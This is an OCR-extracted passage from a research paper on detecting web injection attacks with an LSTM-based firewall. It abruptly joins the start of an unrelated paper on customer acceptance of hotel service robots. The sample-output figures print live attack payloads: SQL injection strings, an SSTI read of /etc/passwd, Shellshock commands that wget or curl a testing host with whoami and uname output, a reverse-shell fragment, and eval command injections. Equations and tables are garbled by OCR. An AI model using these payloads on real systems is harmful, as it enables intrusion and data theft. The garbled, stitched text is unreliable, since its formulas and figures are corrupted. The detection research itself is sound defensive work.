to allow new information into the CEC during training. No information is permitted inside as long as the input gate is set to
zero. Likewise, the output gate acquires knowledge to allow when the information will pass from the CEC. The cell state or
activation is confined within the memory cell when both gates are closed (activation close to zero). The use of a recurrent
edge with unit weight enables the error signals to pass through multiple steps without encountering the problem of vanishing
gradients (A. Singh, 2017).

However, the LSTM state would expand indefinitely on lengthy continuous input streams, eventually causing the network
to become unstable. After completing a sequence and before beginning a new sequence, The LSTM network should be taught

how to reset the contents of memory cells. To address this issue, a novel LSTM design with forget gates is introduced.

The forget gates are intended to learn to reset cell states when their internal states are no longer relevant and thus worthless.
The cell states can be reset to zero immediately, but also progressive resets gradually fade away the cell states (F. Gers, at
al., 1999). The main components of the LSTM with forgot gates can be summarized as (A. Singh, 2017):

1. Input (Equation 3.8): It accepts the currently supplied input vector, represented by x,, and the output produced
by the previous step, denoted by /4 _,. The weighted inputs are added and then processed by tanh activation,
yielding “c,.

2. Input Gate (Equation 3.7): The gate takes x, and 4 _,, calculates the weighted total, and then the sigmoid
activation is applied. The result is multiplied by “c, to supply input to the memory cell.

3. Forget Gate (Equation 3.6): The gate takes x, _, and calculates the weighted inputs using sigmoid activation.

As a consequence, f; is multiplied by the cell state at the previous step ¢,_,, allowing the memory contents to

t=1°

be forgotten.

4. Memory cell (Equation 3.9): This consists of the value of CEC, which has a recurring edge with a weight of
1.0 (unit weight). The current cell state c, is calculated by ignoring useless information from the previous step

and having relevant information from the currently provided input.

5. Output gate (Equation 3.10): The weighted total of x and 4 _, is fed into the output gate, than it regulates the
flow of information out of the LSTM cell by applying a sigmoid function.

6. Output (Equation 3.11): The output unit (4, is calculated by putting the cell state ¢, through a tanh and
multiplying it by the value of the output gate (o).
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Figure 3.3. The LSTM with Forget Gate (Y. Yu, at al., 2019)
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ft =o(Wfhht—1 + Wfxxt + bf) 3.6)
ii=o(W,h_ +W_x+b) 3.7
e, =tanh(W. h_ +W_x +b.) (3.8)
¢ =fc ti "¢ 3.9
o=oW h_ +W x+b) (3.10)
h, = o, tanh(c) 3.11)

When the forget gate, f, is set to 1, it means the cell will keep the information; otherwise, setting the value to 0 means it
discards all of its content. When the bias value of the forget gate, b, is increased, the performance of the LSTM network
improves (Y. Yu, at al., 2019).

3.4 ARCHITECTURE
The deep learning architecture evaluated within the work is composed of the following elements as seen in Fig 3.4:

*  Embedding Layer: The input is broken down into characters and converted to an integer vector. Since the integer
vector creates a high dimensional data, it is better to use an embedding layer to convert lower dimensional vector

space.

«  LSTM Layer: Long input sequences are going to be learned and evaluated. Multiple LSTM (stacked) is implemented
using a different number of LSTM Layers to detect its contribution to the learning success.

*  Flatten Layer: The characters’ calculated values are in a multi-dimensional LSTM layer and they are flattened

into a vector.

*  Dense Layer: The output layer is connected to the flatten layer to help evaluate the vector as an output of normal

and anomalous labels.

The Softmax function is used to construct a probability distribution from a vector of real values. It returns a range of
probabilities between 0 and 1, with the total of the probability equal to 1. The Softmax function provides probabilities for
each class, with the target class having the highest likelihood (I. Goodfellow, at al., 2016). It is used to provide class labels
of output in the dense layer by calculating the probability distribution.
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LSTM Layer

Flatten Layer
Figure 3.4. The Architecture Overview

The loss function within the DL model is a categorical cross-entropy loss function. The loss function provides a method of
distinguishing two discrete probability distributions from each other. The fundamental advantage of this loss function is
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that it may be used to compare two probability distributions. The Softmax activation rescales the model output to ensure
that it has the desired attributes. Eventually, Softmax is the only activation function that is suggested for use with the
categorical cross-entropy loss function (Q. Zhu, at al., 2020).

4. DATASET AND DATA PRE-PROCESSSING

Web application firewalls mainly focus on HTTP web requests containing headers, a URL, URL parameters and a request
body. Even though certain fields of the requests contain default values for headers, the entire HTTP request fields can be
assumed to be user supplied parameters to be sent to the web server. Ideally, the WAF expects to detect and block malicious
inputs placed in any fields of a HTTP GET request as seen in Fig 4.1 and POST requests as seen in Fig 4.2.

GET /rest/products/search?gq=param HTTP/1.1

Host: localhost:3000

User-Agent: Mozilla/S.0 (X11; Linux x86 64; rv:94.0)
Accept: application/json, text/plain, */*
Accept-Language: en-Us,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://localhost:3000/

Cookie: language=esn; welcomebanner status=dismiss
Content-Length: 2

Figure 4.1. An Example of GET Request

POST /rest/user/Login HTTP/1.1

Host: localhost:3000

User-Agent: Mozillas/5.0 (X11; Linux x86 64; rv:94.0)
Accept: application/json, text/plain, */%*
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/json

Origin: http://localhost:3000

Connection: close

Referer: http://Localhost:3000/

Cookie: language=en; welcomebanner_ status=dismiss
Content-Length: 40

{
"email":"admin",
"password":"admin"

i
Figure 4.2. An Example of POST Request

The anatomy of a HTTP web requests contain the following fields, mainly:

» URL: It is a reference to a web resource that defines its location on a computer network as well as a means for
obtaining it.
«  URL Parameter (query parameter): It is a predefined collection of parameters that are appended to the end of a

URL.

*  Header: It is an HTTP header that can be included in an HTTP request to offer information about the request
context so that the server can adapt the answer accordingly.
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*  Host: For an inbound HTTP request, the host header defines which website or web application should be processed
by the server.

*  Content-type: It is used to denote the resource’s original media type before any content encoding is performed for
transmission.

*  Accept: It is used by the client to notify the server of the content type that the client understands.
*  Accept-Encoding: It denotes the content encoding (often a compression method) that the client understands.
*  Cookie: It contains previously transmitted HTTP cookies by the server linked with the server.

*  Referrer: It includes an absolute or partial address of the page that is making the request. The header tells a server
where visitors are coming from when they visit a page.

*  Content-length: It is used to identify the size of the entity-body in bytes and is transmitted to the server.
Body:
»  Plaintext: The data is composed of plaintext string data and directly evaluated as the input by the server.

*  www-url-encoded: The data is in the form of key-value peers and each peer is separated by a special character
(&). Each peer is parsed and accepted as a different input value by the server.

*  XML: The data is in the format of XML structure which has nested XML nodes and attributes at the beginning
of each node. The data is parsed by the server and evaluates each node and attribute.

*  JSON: The data is sent in the form of a special structure containing key-value peers. The data is parsed and the
parameters are extracted by the server. Then each parameter value is evaluated as input.

The extraction of the values can be done by other software components or by the WAF itself. Eventually, the extracted field
values are analyzed by the WAF and it is decided whether the request is anomalous or not. Since the HTTP injection attacks
may occur in every field of the HTTP request, it is sufficient to analyze input values only.

The HTTP dataset CSIC 2010 contains generated traffic addressed to an e-Commerce online application, where visitors can
buy things using a shopping cart and register by supplying certain personal information. The HTTP requests are classified
as normal or abnormal, and the dataset contains attacks such as a SQL injection, buffer overflow, information collecting,
file disclosure, XSS, server side inclusion, parameter manipulation, and so on. Only normal payloads in the CSIC 2010 dataset
are used both in the training and testing phase. Since the dataset contains some attack types which are out of our scope
because they require a response analysis to detect the attacks, we used attack payloads (Payloads all the things, 2021) that
are used in real-life attack scenarios for each type of attack. Table 4.1 provides figures for the dataset used in the training
phase of the deep network.

Table 4.1
Dispersion of the Values in the Dataset Used Training

Class/Attack XSS SQLi Path Traversal SSTI XXE LDAP Inj. OS Cmd Inj. Total
Normal Payload - - - - - - - 21417
Anomalous 910 1809 21647 48 64 60 448 25059
Total 46476

As the approach is a semi-supervised model, only the 20% of the labeled data (9285 labeled data) is used. The rest of the
data (37191 unlabeled data) is treated as unlabeled and their labels are assigned based on the trained neural network as seen
in Table 4.2.

In order to test the trained deep learning network, the test dataset that contains normal and anomalous inputs which are not

presented during the learning phase is used.
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Table 4.2

Dispersion of the Values in the Dataset for Test

Class/Attack XSS SQLi Path Traversal SSTI XXE LDAP Inj. OS Cmd Inj. Total
Normal Payload - - - - - - - 546

Anomalous 905 248 37 21 41 9 154 1415

Total 1961

The anomalous requests contain different character sets for different attack types, since the attacks target a different scope
of the web application. During the training phase, reading the dataset from file caused an interruption because of special
characters within the payloads. In order to prevent the issue and read all the characters properly, all of the dataset is
encoded with Base64 which is intended to transport binary-formatted data over networks that can only reliably accept text
content.

As an example, the SSTI payload below contains the percentage symbol (%) which is a special character if is evaluated as
the comment in LATEX.

Payload: <%= File.open(’/etc/passwd’).read %>
Payload in Base64: PCU9IEZpbGUub3BlbignL.2V0Yy9wY XNzd2QnKS5yZWFkICU+

In order to mitigate such unintentional behavior, it is encoded to Base64 as shown above and while it is reading from the
file, again it is decoded into a normal payload. It is seen that the Base64 encoded form hides the special characters and allows
the transfer of the payload into the ASCII character string.

5. RESULTS

In this chapter, the key experimental results for two different LSTM architecture with different hyper-parameters are set out,

examined and evaluated.

The following hyper-parameters values are chosen and run for single and stacked LSTM training and tests for each different

value.

* Input character size values: 3, 5, 10, 15, 20, 25, 30, 40, 50, 60

LSTM hidden size values: 1, 5, 10, 15, 20, 30, 40, 50
e Batch size values: 8, 16, 32, 64
*  Dropout values: 0, 0.1, 0.3

The total run amount for training and test (Cartesian product for the given parameters) is 320 different results for a single
LSTM configuration and 960 different results for stacked LSTM configuration. It is quite difficult to visualize more than 4
variables’ effect on the test results, therefore only the most successful test results with its hyper-parameter values are given

in the following topics.
5.1 Single LSTM Layer Architecture Results

The deep learning model with a single LSTM layer without dropout is evaluated as with M (number of LSTM layer) is equal
to one (single layer LSTM) with the configuration given in Table 5

Table 5

Configuration of Single LSTM Model

Layer (type) Output Shape
embedding (Embedding) (None, 60, 60)
Istm (LSTM) (None, 10)
flatten (Flatten) (None, 10)
dense (Dense) (None, 2)
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The appropriate hyper-parameters are enumerated and determined according to the F1 scores. The dropout is not used,
because all the LSTM output is calculated based on a sequence and it is not desired to drop any sequence elements from the
output. In Figure 5.1 and Table 5.1, the F1 scores show a high success rate with the median value of 0.916 amongst the 320

different evaluated hyper-parameter results. The most successful trained DL model shows 0.994 of the F1 score.

By interpreting the Table 5.4, we can conclude that the DL model performs relatively high F1 scores by detecting the anomalies
and normal payloads, because the box plot gives different results in the given dataset, which is a 320 different run result for
detection anomalies for different hyper-parameters.

Table 5.1
The Box Plot Values for the F1 Scores

Min 1st Quartile Median 3rd Quartile Max
F1 Score Values in Box Blot 0.658 0.820 0.916 0.968 0.994

Figure 5.1. Single LSTM Box Plot of F1 Scores for 960 different scores

Considering the hyper-parameters as seen in Table 5.2 and F1 score seen in Table 5.4 for the most successful model trained,
the input character size is 60 and the hidden LSTM size is 10, which may indicate an over-fitting of the model. However, the
learning is performed well in terms of low training error as well as low testing error, meaning that the model can be chosen

as the main model for detection of the anomalies.

The hyper-parameters belong to maximum value of F1 score DL model is found as:

Table 5.2

Single LSTM hyper-parameters belong to maximum value of FI score
Hyper-parameter Name Optimum Value
Input Length (Chars) 60
LSTM Hidden State Size 10

Batch Size 8
Dropout
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Table 5.3
The Confusion Matrix of maximum of F1 score out of 320
other scores

Predicted
No Yes Total
No 545 1 546
Actual
Yes 15 1400 1415
Total 560 1401 1961
Table 5.4

The Metrics belong to maximum of F1 score out of 320 other
scores

Score Values
Accuracy 0.991
Specificity 0.998
Precision 0.999
Recall 0.989
F1 Score 0.994

The input character size has a direct effect on the success of the DL model as seen in Figure 5.2. As the input length gets
larger, the success gets higher accordingly. The model success rate remains steady after the size is 20 or larger.

The LSTM hidden size has a relativity low impact on the success of the DL model. When all the possible success rates are
analyzed, the DL model performs better results when the LSTM hidden size is less than the input character length size.

The batch size is important when the short sequences are also important to detect and learn. When we compared the results,
the highest F1 score values belong to models trained with a batch size of 8.
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Figure 5.2. The effect of the input character length over the success rate for Single LSTM model

The trained model having the highest F1 score is used to predict and classify the data set containing malicious and benign
data. The example result is given in Figure 5.3.
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| |True ||Pred

direccion=Entrada+El+Zurdo%2C+166+7%3FE
login=luna
pwd=Sa5Na
direccion=Ccalle+Benifallim+97+10%3FE
cp=09198
htc=6608191382152819
nombre=Alexsandra
apellidos=Gabarri
dni=116159103]
ciudad=PTasencia+de+Jal%F3n
cp=28190
login=norean
password=EsTIVaL
dni=65223156D
cp=01719 _
direccion=Ccalle+Don+Juan+De+Malaga%2C+170%2C+
Togin=muth
direccion=san+ITdefonso+133%2C+
Togin=tadlock
atario
628%7C%28mai1%3D%2A%29%29
=X

"hi"") or (""a""=""a"
" or pg_sleep(_TIME__)--

or 3=3

select @@servernamee
or isNULL(1/0) /*
or '1'="1

RRRERRRERRERERRERREEFOOODODOO0O000000000000000
FRRRERREPEFEFPPFFOO0O0000000000C0000000

Figure 5.3. The Single LSTM Model Prediction Example Output

5.2 Stacked LSTM Layer Architecture Results

The deep learning model with stacked an LSTM layer with dropout is evaluated with M (number of LSTM layer) is equal to
two (two layer LSTM) with the configuration given in Table 5.5

Table 5.5

Configuration of Stacked LSTM Model

Layer (type) Output Shape
embedding (Embedding) (None, 40, 40)
Istm (LSTM) (None, 40, 20)
Istm 2 (LSTM) (None, 20)
flatten (Flatten) (None, 20)
dense (Dense) (None, 2)

The appropriate hyper-parameters are enumerated and determined according to the F1 scores. In Figure 5.4 and Table 5.6,
the F1 scores show a high success rate with the median value of 0.909 amongst the 960 differently evaluated hyper-parameter
results. The trained most successful DL model shows 0.993 of the F1 score.

Table 5.6
The Blox Plot Values for the F1 Scores for Stacked Model

Min 1st Quartile Median 3rd Quartile Max
F1 Score Values in Box Blot 0.642 0.827 0.909 0.956 0.993

T

Figure 5.4. Stacked LSTM Box Plot of F1 Scores for 960 different scores

Acta Infologica 239



‘Web Application Firewall Based on Anomaly Detection using Deep Learning

Considering the hyper-parameters and the F1 score for the most successful trained model, the input character size is 40 and
the hidden LSTM size is 20 with a 0.2 dropout rate seen in Table 5.7. The dropout is applied to the output of the first layer
of the LSTM, enabling the model to drop some characters from the sequence and to add noise to the neurons in order not to
be dependent on any specific neuron. The learning is performed well in terms of low training error as well as low testing
error as seen in Table 5.8, meaning that the model can be chosen as the main model for detection of the anomalies.

The hyper-parameters belong to maximum value of F1 score DL model is found as:

Table 5.7
Stacked LSTM hyper-parameters belong to maximum value of FI score
Hyper-parameter Name Optimum Value
Input Length (Chars) 40
LSTM Hidden State Size 20
Batch Size 8
Dropout 0.2

Table 5.8

The Confusion Matrix of maximum of F1 score out of 960
other scores with Stacked Model

Predicted
No Yes Total
No 542 4 546
Actual
Yes 15 1400 1415
Total 557 1404 1961
Table 5.9

The Metrics belong to maximum of F1 score out of 960
other scores with Stacked Model

Score Values
Accuracy 0.990
Specificity 0.992
Precision 0.997
Recall 0.989
F1 Score 0.993

The maximum F1 score is achieved with a lower input character length in presence of an additional LSTM layer with dropout,
compared to single LSTM architecture. The given confusion matrix in Table 5.9 depicts a high classification rate with testing
data.

The input character size has a direct effect on the success of the DL model as seen in Figure 5.5. As the input length gets

larger, the success gets higher accordingly. The model success rate remains steady when the size is 25 or larger.
12

03 e ___,/ il L ity

0.6 = preCiOn

—perall

Success rate
|

— | I

5 0 15 0 13 M & S0 &
Input Character Length

Figure 5.5. The effect of the input character length over the success rate for Stacked LSTM model

Similar with the single LSTM layer model’s results, the LSTM hidden size has a relativity low impact on the success of the
DL model. When all the possible success rates are analyzed, the DL model generates better results in case the LSTM hidden

size is less than the input character length size.

Similar with the single LSTM layer model’s results, when we compared the results, the highest F1 score values belong to
models trained with a batch size of 8.
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The trained model having the highest F1 score is used to predict and classify the dataset containing malicious and benign
data. The example result is given in Figure 5.6.

||True ||Pred

1961
direccion=Entrada+E1+Zurdo%2C+166+7%3FE
login=1una
pwd:SaSNa ) __
.%5c. .%5c. .%5c. .%5c. . %5c{FILE}
h0255cdr1vers%255cetc%255chosts
;}; /bin/bash -c "sleep 6 && curl //. test1ng/she11shock txt?sleep=9&7vuln=9"
; /bin/bash -c "sleep 6 &% echo vulnerable 6"
{ ; /bin/bash -c "wget //. test1ng/she11shock.txt?vu1n=177user—\ whoami\ ™"
{ :3;}; /bin/bash -c "wget //.testing/shellshock.
{ ::;}; /bin/bash -c "wget //.testing/shellshock.
{: /bin/bash -c "wget //.testing/shellshock.txt?vuln=237uname= \ uname -a\ '
/usr/b1n/1d
;/usr/bin/id]|
Jusr/bin/id|
| fusr/bin/id
a| /usr/bin/id
a) | /usr/bin/id;
a| /usr/bin/id
;system('cat%20/etc/passwd’)
">&S");open(STDERR ">&5");exec("/bin/sh -i™);};" >
O { :;}; echo vu1nerab1e 10
eval('1s")
eval( pwd")
eval('pwd');
eval('sleep 5')
eval('sleep 5');
eval('whoami')
eval('whoami');
n.txt #\" |curl //.testing/rce_vuln.txt )
$( curl //.testing/rce_vuln.txt?req=22jjffjbn )
| di

\_J-

C
C
C
C
(
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a
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Figure 5.6. The Stacked LSTM Model Prediction Example Output

The research mainly employs multiple stacked LSTM models as hidden layers. It is challenging to compare different approaches

due to using different data sets and different hyper-parameter configurations.

Table 5.10
Comparison of different stacked LSTM researches

Sensitivity e
Method Dataset Accuracy (Recall) Specificity
Stacked LSTM (J. Liang et al. (2017)) CSIC2010 0.9842 0.9756 0.9921
AE-LSTM (A. Moradi Vartouni et al. (2019) CSIC2010 0.8726 0.8273 0.8970
LSTM-70 (N. Oliveira et al., 2021) CIDDS-001 0.9994 0.8971 0.9600
Bidirectional LSTM (BLSTM) (Li et al., 2018) BE-SEL 0.8994 0.9300 0.4292
AE-LSTM (Alma & M. L. Das, 2020) ECML-KDD 0.9979 1.00 0.4292

CSIC2010

Our Stacked LSTM Playload AlITheThings 0.9903 0.9894 0.992

The given comparison is mainly approaches that are interested in the detection of malicious HTTP attacks using the LSTM
model. According to Table 5.10, one may conclude that the LSTM model can be useful in the detection of different attacks
with different datasets, because the metrics show high success rates.

6. DISCUSSION

The years of works on anomaly detection show that deep learning methods can effectively be used to detect outliers from
the benign. Specific contexts require special attention to determine the correct classification approach to be implemented.
As in detecting web application injection attacks, considering a sequence of characters to be classified is a milestone in
deciding the use of the LSTM model in this research. On top of that, anomalies are most of the time not presented in our
wordlists, datasets and test cases. Therefore, it is important to employ a semi-supervised approach so that we can test the
detection performance of anomalies which are not part of the used dataset. However, most of the research does not specifically
focus on attack types but only the attacks which are presented in the datasets and there is no such dataset that has labeled
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data for each attack type. Therefore their results become only specific to those attacks presented in the dataset they used. In
this research, the specific realistic attack payloads for each corresponding attack are used during the training and testing
phase.

Another key finding is the hyper-parameters which have a direct impact on the detection performance. Implementing different
models to find an ideal LSTM structure for detection yields solid decisions in terms of the number of LSTM layers, input
character sizes, the LSTM hidden state size and batch size. To define proper hyper-parameters, different values are tested
for each hyper-parameter and as a result of this exhausted search, the essential deductions are made.

The implementation of a-model with only one LSTM layer is able to provide a similar F1 score which is gained for different
LSTM layers but using stacked LSTM layers with fewer input character sizes may be a reasonable choice in case there are
short input sequences for training data. The LSTM hidden state size enables the holding of many data as the size get larger.
Storing many features does not mean it will produce better results, since the model may memorize unnecessary values as
well. Different hidden state sizes are tested to find out the optimal values to get the maximum F1 scores. It has been concluded
that there is no exact value for the LSTM hidden state size. Usually, the model generates better results in the case that the
LSTM hidden size is less than the input character length size. Also it is crucial when the short sequences are, and also
crucially important to detect and learn. Considering both the single and stacked LSTM models, the highest F1 score values
belong to models trained with a batch size of 8. The lower batch sizes increase the processing time when training the model,
but the result becomes more accurate. On the contrary, using a higher batch size lower the steps and processing time but

mostly produces lower success values.

One overlooked perspective which needs to be analyzed and included as well while training the model is HTTP web response
values for the corresponding HTTP web request, because only analyzing the input values may result in false positives in real
life. There are cases where it is also necessary to take the HTTP response into consideration. However, the lack of a dataset
that provides sample payloads for the corresponding web attacks and web responses is a real issue. This is also a challenging
task, since different web application technologies, SQL servers and frameworks behave differently for each attack.

7. CONCLUSION

The deep learning model with an LSTM layer(s) is analyzed and implemented throughout the work. The aim is to analyze
character sequences of malicious web application payloads by implementing different models with different hyper-parameters
to find an ideal deep learning structure for detection and to evaluate whether the supplied input words are benign or malicious.

Based on the extensive experiments and analysis of different models with different hyper-parameters, one may conclude that
the resulting models are promising for the detection of malicious HTTP web requests for specific attack types using

corresponding attack payloads with a relatively small attack payload dataset employing a semi-supervised learning method.

For the future work, the HTTP web response values for the corresponding HTTP web request can also be considered while
training the model. Since the different errors are generated by the applications implemented with different software technology
as a result of malicious activities.
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ABSTRACT

The application of robot technology in the tourism and hospitality industries is becoming increasingly popular.
Due to the high level of robot-human interaction, both the customer and the service provider must evaluate the
adaptation of robots in this industry using an interdisciplinary approach. From the perspective of information
systems, this study examines individuals’ acceptance of robots used in hotel services within the framework of a
trusting belief-based technology acceptance model (TAM) that includes the effect of emotional reactions.
According to the results, it was observed that trusting belief have positive effects in both enjoyment and negative
robot anxiety, considering hotel service robots specifically. In terms of affective reactions, enjoyment was
observed to positively affect the perceived usefulness and ease of use as core TAM variables, while robot anxiety
has a negative effect only on ease of use. In the context of hotel service robots, the validity of the TAM principles
has been tested and verified using external variables. To the best of our knowledge, this study is the first attempt
to understand the perception of hotel service robot adaptation in Turkey from the customer perspective. The study
findings are expected to contribute to the literature, which is still in the early development stage, and provide
practical advice to sector managers.

Keywords: Service Robots, Technology Acceptance Model, Trusting Belief, Robot Anxiety, Enjoyment

0oz

Turizm ve konaklama endiistrisinde robot teknolojilerinin kullanimi her gegen giin daha da popiiler hale
gelmektedir. Robot-insan etkilesiminin yiiksek seviyesi nedeniyle hem misteri hem de hizmet saglayici,
robotlarin bu sektordeki adaptasyonunu disiplinler arasi bir yaklasimla degerlendirmek zorundadir. Bu ¢alisma,
bilisim sistemleri perspektifinden bireylerin otel hizmetlerinde kullanilan robot teknolojilerini kabuliinii, giiven
inanct faktoriine dayali Teknoloji Kabul Modeli (TKM) gercevesinde duygusal tepkilerin etkisiyle incelemektedir.
Arastirma bulgulari, giiven inancinin algilanan eglence tizerinde olumlu, robot anksiyetesi iizerinde ise olumsuz
yonde etkisi oldugu gostermektedir. Algilanan eglencenin temel TKM degiskenleri olarak algilanan fayda ve
algilanan kullanim kolayligini olumlu yonde etkiledigi, robot anksiyetesinin ise duygusal tepki olarak yalnizca
kullanim kolaylig1 tizerinde olumsuz bir etkiye sahip oldugu gézlemlenmistir. Bu agidan, otel hizmet robotlar1
baglaminda, TKM ilkelerinin gegerliligi harici degiskenler kullanilarak test edilmis ve arastirma kapsaminda
dogrulanmistir. Bu ¢alisma, Tiirkiye’de otel hizmet robotu kabulii algisint miisteri perspektifinden anlamaya
yonelik oncii ¢aligmalardandir. Calisma bulgularinin heniiz gelisme asamasinda olan ilgili literatiire katki
saglamasi ve sektor yoneticilerine pratik oneriler sunmasi beklenmektedir.

Anahtar Kelimeler: Hizmet Robotlari, Teknoloji Kabul Model, Inanglara Giiven, Robot Anksiyetesi,
Eglence
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1. INTRODUCTION

Today, technology has paved the way for machines to take over mechanical and routine tasks through automation and artificial
intelligence (Al) systems in many industries. Huang et al. (2019) refer to this new era as the “feeling economy.” According
to Wirtz et al. (2018), service robots will become more widely used in many industries where they can considerably reduce
costs and improve service delivery quality. Due to the Covid-19 outbreak, the positive attitude of consumers toward hotels
with robot staff will also accelerate the spread of such technology (Kim et al., 2021). With robots performing routine tasks,
human resources can focus on emotional, empathetic, and interpersonal relationship skills that are currently difficult for Al
to emulate, thereby providing a significant competitive advantage for companies that adopt this human-oriented approach.

Undoubtedly, the nature of service plays an essential role in robot integration. For instance, a fast-food restaurant may use
mechanical Al more intensively to provide customer value, whereas a French restaurant prioritizes human-intensive service
(M. H. Huang & Rust, 2021). In this regard, robot adoption requires additional prudence in industries with a high level of
human engagement, such as hospitality (Fusté-Forné & Jamal, 2021). Since a limited number of robots operate in just a few
tourism and hospitality businesses, most of the existing tourist and hospitality robotics research tends to be conceptual
(Murphy et al., 2019). Although the use of robots in such service industries as elderly care (Engelberger, 1998) and education
(Nourbakhsh, 2000) has a relatively older history, robotic technologies in travel, tourism, and hospitality have been gaining
traction recently after the application in the Henn-na Hotel in Japan in 2015, due to a requirement of sophisticated reactions
to the customer’s needs for many services (Ivanov et al., 2019). As a result, more than half of the robots used in the Henn-na
Hotel began causing problems for the customers, such as failing to answer questions or waking the customer up at midnight.
As such, these robots were discontinued after four years due to not being advanced enough to perform the expected tasks
(Shead, 2019). Academic studies have also shown that robots may negatively impact customer perception in different aspects
of the hospitality service, as in the case of the Henn-na Hotel. For example, Jia et al. (2021) discovered that service robots in
hotels are an effective method of increasing visitor satisfaction; however, the high degree of anthropomorphism of the robots
used in hotel services causes aversion in some guests. This is related to a phenomenon known as the uncanny valley, which
expresses the feeling of interacting with a zombie in the human-robot interaction literature (Mori, 2012). On the other hand,
anxiety may arise as a result of the user’s interaction with the robot and could negatively affect the hotel’s customers. For
example, Etemad-Sajadi & Sturman (2021) observed that fear of robots has a negative impact on the intention to use the robot
concierge. According to Wirtz et al. (2018), the more trustworthy a robot is, the more likely it will be adopted. Likewise,
Thatcher et al. (2007) summarized users’ trust in technology as their belief in its ability to perform and willingness to rely
on it. Furthermore, these trusting beliefs of individuals have both positive and negative affective reactions (Mcknight et al.,
2011).

In this respect, discovering the negative impacts and antecedents of robot usage in the hospitality literature, which is very
scarce, is as essential as understanding the positive features that might facilitate user adaptation. One of the aims of this
study is to fill this gap by investigating the antecedent of positive and negative affective reactions.

Even though robots are not currently being used in every hotel service, reports show that the robot market for the hospitality
industry is on an upward trend in terms of performing routine tasks. According to the Allied Market Research (2021) report,
the delivery robot segment for luggage handling or room service in the hospitality robot market, which now has a value of
$60.6 million, is expected to reach $726 million by 2030, while the total market for hospitality robots, such as those used for
cleaning, reception, restaurant, or entertainment, is anticipated to reach a worth of around $3 billion. However, while hospitality
robots emerged as a rapidly growing market due to increasing productivity and reducing costs from the supply-side perspective,
a comparable acceleration has not been observed in academic studies. Scholars believe that more studies are needed to
investigate the influential variables of service robots in hospitality, especially as they relate to customer perception (Ivanov
et al., 2019; Ivanov & Webster, 2019; Luo et al., 2021; 1. Tussyadiah, 2020). Earlier studies on service robots are mostly
theoretical in nature, emphasizing theoretical explanations of robots which currently exist in the hospitality industry and
suggestions for future studies (Jia et al., 2021). Hence, examining the specific effects of robot use from different hospitality
dimensions is a gap that must be filled in the literature. In this study, the perception of customers for hotels served by robots
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was investigated within the Technology Acceptance Model (TAM) framework, and the effects of trusting belief on perceived
enjoyment and anxiety were examined within the scope of the conceptual model seen in Figure 1.

2. LITERATURE REVIEW

A robot is an intelligent agent that can act on the physical environment, embodied in an anthropomorphic, zoomorphic,
caricature, or functional form, capable of observing, comprehending, and learning through various Al technologies, such as
natural language processing and machine learning (Bowen & Morosan, 2018; Tung & Law, 2017). A service robot is defined
as a social agent that can replace human providers by executing system-based functions autonomously, even without human
interaction, with adaptable interfaces that interact, communicate, and deliver service to the customers (Fusté-Forné & Jamal,
2021; Wirtz et al., 2018). Murphy et al. (2017) state that when robots are classified as industrial, professional, or personnel,
industrial robots have a 50-year history of performing jobs, such as food preparation for the hospitality industry. On the other
hand, professional and personal robots, such as cleaning, luggage handling, serving in a restaurant, or concierge services,
where social interaction, autonomy, and mobility are significantly higher than industrial robots, have about 20 years of
history. From a different perspective, Ivanov & Webster (2020) suggested three types of robots that can be used in the
hospitality industry considering the tourism economy, classified based on their mobility: the customer participation type
(which is divided into two, as back-house and front-house), stationary, and mobile types. A further distinction relates to
ownership, whether robots are owned or rented. In this proposed classification, front-of-house robots (who carry out activities
such as check-in, courier, entertainment, and concierge) that require interaction with the customer need to be adapted more
carefully when considering customer satisfaction because human-robot interaction inherently contains uncertainties, with

negative situations potentially disappointing the customer.

In this sense, robots in the hospitality industry contribute to consumer satisfaction by providing value in the form of new
experiences, enjoyment, efficiency, and productivity; yet, the unfavorable scenario that emerges throughout the interaction
process leads to dissatisfaction (Jia et al., 2021; Prentice et al., 2020). For example, Prentice et al. (2020) found the concierge
robot an influential factor in both satisfaction and loyalty by suggesting exciting travel destinations, answering customer
questions, and entertaining them. The same study showed that customers who had a poor experience with voice-activated
services were less likely to trust these robots in situations involving money, such as ordering meals. In another study conducted
in China, Jia et al. (2021) stated that a user who is satisfied with the service robots will have a positive attitude toward the
hotel. Furthermore, their findings reveal that customers whose satisfaction is increased by service robots are more likely to
purchase a room. Based on TripAdvisor customer reviews and scores on hotels with service robots, Luo et al. (2021) discovered
that robotic services provide value and are a key element in influencing overall consumer satisfaction with the hotel. Lastly,
a recent study on restaurant service robots revealed that trust positively affects customer satisfaction, while the perceived
risk factor has a strong negative impact (Seo & Lee, 2021).

Accordingly, the successful adoption of robot technologies, which is understood to be strongly related to customer satisfaction
and customer loyalty, is related to the user’s trust in robots, which is the most rooted subject of information systems (IS).

2.1. TRUSTING BELIEF

As beliefs are opinions that an individual accepts as true, it has been mentioned in the management information systems
(MIS) that understanding humans’ reactions to technology is critical (Agarwal & Karahanna, 1998; Thatcher et al., 2007).
An individual’s trust in technology is defined as the belief about how a technology will perform and their willingness to rely
upon such technology (Thatcher et al., 2007). Wirtz et al. (2018) address robot adaption for the service industry in their
conceptual model, arguing that the more a robot is perceived as trustworthy and concerned about the requirements of its
customers, the more likely it will be adopted. According to van Pinxteren et al. (2019), trust plays a fundamental role in
adopting service robots and positively impacts enjoyment; however, literature is scarce.

When comparing the customer acceptance of the novel robotic technology to e-commerce, which has been widely adopted,
trust emerges as a critical determinant in the IS literature (Benbasat & Wang, 2005; McKnight et al., 2002). McKnight et al.
(2002) stated that trust helps customers share personal information with web-based sellers and make purchases by overcoming
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uncertainty, complexity, and risk perceptions. He further conceptualizes the trusting belief in a web-based vendor under the
competence, benevolence, and integrity dimensions. Benbasat & Wang (2005) have shown that integrating this triple structure
with TAM significantly impacts online recommendation agents as technological artifacts, with consumers treating computer
agents as “social actors” when interacting with recommendation agents where human characteristics can be perceived.
According to Mcknight et al. (2011), trust in technology has been evaluated similarly to trust in humans in previous studies;
however, due to a lack of volition and morals in technology, [ T-related trust belief is related to technical characteristics, just
like when comparing a word processing software to a human copyeditor. When users compare the two, they consider the
human copyeditor’s competence and willingness to take the time to edit the paper carefully and the word processing program’s
ability to detect misspelled words or grammatical errors. In this sense, Mcknight et al. (2011) conceptualized trust in technology
in terms of: functionality (performing its intended tasks), helpfulness (providing adequate assistance), and reliability
(continuous and error-free processing). With a holistic approach based on Mcknight et al. (2011)’s triple structures, I. P.
